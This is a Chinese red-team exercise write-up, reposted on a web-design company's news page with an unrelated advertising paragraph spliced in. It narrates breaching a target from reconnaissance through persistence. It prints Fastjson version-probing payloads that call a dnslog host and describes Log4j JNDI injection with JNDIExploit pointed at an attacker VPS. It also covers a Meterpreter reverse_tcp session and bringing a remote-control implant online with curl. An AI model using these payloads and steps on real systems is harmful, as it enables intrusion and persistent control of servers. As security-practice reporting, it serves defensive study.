新聞中心
前言
在如今錯綜復雜的網(wǎng)絡環(huán)境,還有各種防護設備的加持,漏洞利用可謂難上加難。這里簡單記錄下在一次攻防演練中從打點到權(quán)限維持的曲折過程。

創(chuàng)新互聯(lián)服務項目包括播州網(wǎng)站建設、播州網(wǎng)站制作、播州網(wǎng)頁制作以及播州網(wǎng)絡營銷策劃等。多年來,我們專注于互聯(lián)網(wǎng)行業(yè),利用自身積累的技術(shù)優(yōu)勢、行業(yè)經(jīng)驗、深度合作伙伴關(guān)系等,向廣大中小型企業(yè)、政府機構(gòu)等提供互聯(lián)網(wǎng)行業(yè)的解決方案,播州網(wǎng)站推廣取得了明顯的社會效益與經(jīng)濟效益。目前,我們服務的客戶以成都為中心已經(jīng)輻射到播州省份的部分城市,未來相信會繼續(xù)擴大服務區(qū)域并繼續(xù)獲得客戶的支持與信任!
過程
前期先從備案查詢、子域名收集、端口掃描等方式獲取資產(chǎn)URL。其次對URL進行指紋識別,雖然發(fā)現(xiàn)了幾個存在指紋的系統(tǒng),但后續(xù)滲透發(fā)現(xiàn)漏洞已無法利用,漏洞已修。最后老實本分對其他Web系統(tǒng)進行滲透,尋找突破口。
01 前后端分離架構(gòu)
前后端分離的開發(fā)架構(gòu)已然成為互聯(lián)網(wǎng)項目開發(fā)的主流模式,通過nginx+tomcat(中間加Node.js)來進行解耦,是未來的大型分布式架構(gòu)、彈性計算架構(gòu)、微服務架構(gòu)和多端化服務的基礎。
·前端:負責View和Controller層·后端:負責Model層,進行業(yè)務/數(shù)據(jù)處理
JAVA 更適合做 Model 層、持久層的業(yè)務,引入Node.js可進行Controller層的處理。Node.js作為橋梁架接服務端API輸出的JSON數(shù)據(jù)。
02 WebPack資源管理
WebPack本身作為一個資源管理和打包構(gòu)建工作,其強大之處在于各種靜態(tài)資源的依賴分析和預編譯。經(jīng)過WebPack編譯后得到各種靜態(tài)資源,通常生成dist文件夾,保存各種靜態(tài)文件。其結(jié)構(gòu)大致如下:
而app.js文件通常包含了各類前端路由或者后端API接口,是我們滲透前后端系統(tǒng)的突破口。當然不僅僅只是app.js中會存在。
03 發(fā)現(xiàn)指紋Fastjson
使用burp插件,可自動從js中爬取前端路由或者后端API接口
當獲取到后端API接口時,使用burp的Intruder模塊對所有接口發(fā)送GET和POST請求,POST請求時可以構(gòu)造json請求體發(fā)送。
部分接口進行GET請求時,后端返回缺失某參數(shù),此時可構(gòu)造該參數(shù)并進行SQL注入等漏洞利用。
此時從報錯信息中發(fā)現(xiàn)某個接口使用Fastjson組件
于是利用DNS探測判斷Fastjson版本
Fastjson < 1.2.43
{"@type":"java.net.URL","val":"http://dnslog"} {{"@type":"java.net.URL","val":"http://dnslog"}:"x"}Fastjson < 1.2.48
{"@type":"java.net.InetAddress","val":"dnslog"}Fastjson < 1.2.68
{"@type":"java.net.Inet6Address","val":"dnslog"}
{{"@type":"java.net.URL","val":"dnslog"}:"aaa"}
{{"@type":"com.alibaba.fastjson.JSONObject", {"@type": "java.net.URL", "val":"http://dnslog"}}""}
{{"@type":"java.net.URL","val":"http://dnslog"}:0}未發(fā)現(xiàn)DNSLog回顯
04 發(fā)現(xiàn)log4j漏洞
字段Content-Type存在dnslog回顯,先試試dns協(xié)議進行dnslog探測
可探測java版本,1.8.0_171版本
使用ldap協(xié)議進行dnslog探測
可探測服務器類型,Linux系統(tǒng)
可進行jndi注入利用,使用工具JNDIExploit-1.4-SNAPSHOT.jar
查看使用方式
命令:java -jar JNDIExploit-1.4-SNAPSHOT.jar -u使用TomcatEcho鏈執(zhí)行命令并回顯
命令:java -jar JNDIExploit-1.4-SNAPSHOT.jar -i your-vps-ip發(fā)送cmd命令請求
成功執(zhí)行命令并回顯,root權(quán)限
此時獲取命令執(zhí)行權(quán)限,如何進行權(quán)限維持?獲取一個穩(wěn)定的shell
05 權(quán)限維持
1)執(zhí)行命令,直接反彈shell
2)執(zhí)行命令,寫入webshell
3)jndi注入工具支持打入內(nèi)存馬
4)jndi注入工具1.4版本新增支持上線msf
第一種嘗試:執(zhí)行bash、sh命令反彈shell,存在ldap請求,但反彈命令未執(zhí)行成功;
第二種嘗試:通過pwd、ls命令進行Web系統(tǒng)目錄,發(fā)現(xiàn)服務由jar起的,寫入webshell文件無法利用;
第三種嘗試:VPS收到打入內(nèi)存馬的ldap請求,但訪問內(nèi)存馬路徑時顯示404;
第四種嘗試:使用tomcatBypass路由上線msf成功
msf開啟監(jiān)聽,使用payload:java/meterpreter/reverse_tcp
設置LHOST、LPORT,執(zhí)行run開啟監(jiān)聽
發(fā)送ldap請求,請求tomcatBypass路由,IP是VPS的IP,PORT是msf監(jiān)聽的端口
上線msf,得到穩(wěn)定式shell
得到shell,但無法進行直觀目錄瀏覽,而且shell是交互式shell,有沒有更好的遠控方式呢?
06 上線遠控
在本公眾號前面發(fā)過的文章中提到一款遠控平臺,自帶某廠商證書,為免殺工作省去大量功夫。但上線命令需要使用curl命令,然而該機器上并沒有curl命令。
沒有curl,但有wget,可不可以使用wget替換curl,詢問下chatgpt
答案是存在可替換的,但卻達不到我們的效果
于是安裝curl命令,但yum、apt-get等命令也沒有
很奇怪的一個系統(tǒng),大概率是個閹割版的docker容器,先看下系統(tǒng)版本類型
cat /etc/os-release這種系統(tǒng)內(nèi)核,百度下
是個docker無疑了,詢問chatgpt該內(nèi)核的系統(tǒng)如何下載curl
Apline Linux內(nèi)核使用輕量級的apk包管理工具來管理軟件包。執(zhí)行一鍵安裝命令,等待安裝過程
安裝完成,接下來使用curl命令一鍵上線遠控。
總結(jié)
命令執(zhí)行無法反彈shell或許是防護設備攔截所致。
本文作者:極致攻防實驗室, 轉(zhuǎn)載請注明來自FreeBuf.COM
標題名稱:記一次攻防演練打點過程
文章分享:http://m.fisionsoft.com.cn/article/coicgge.html


咨詢
建站咨詢
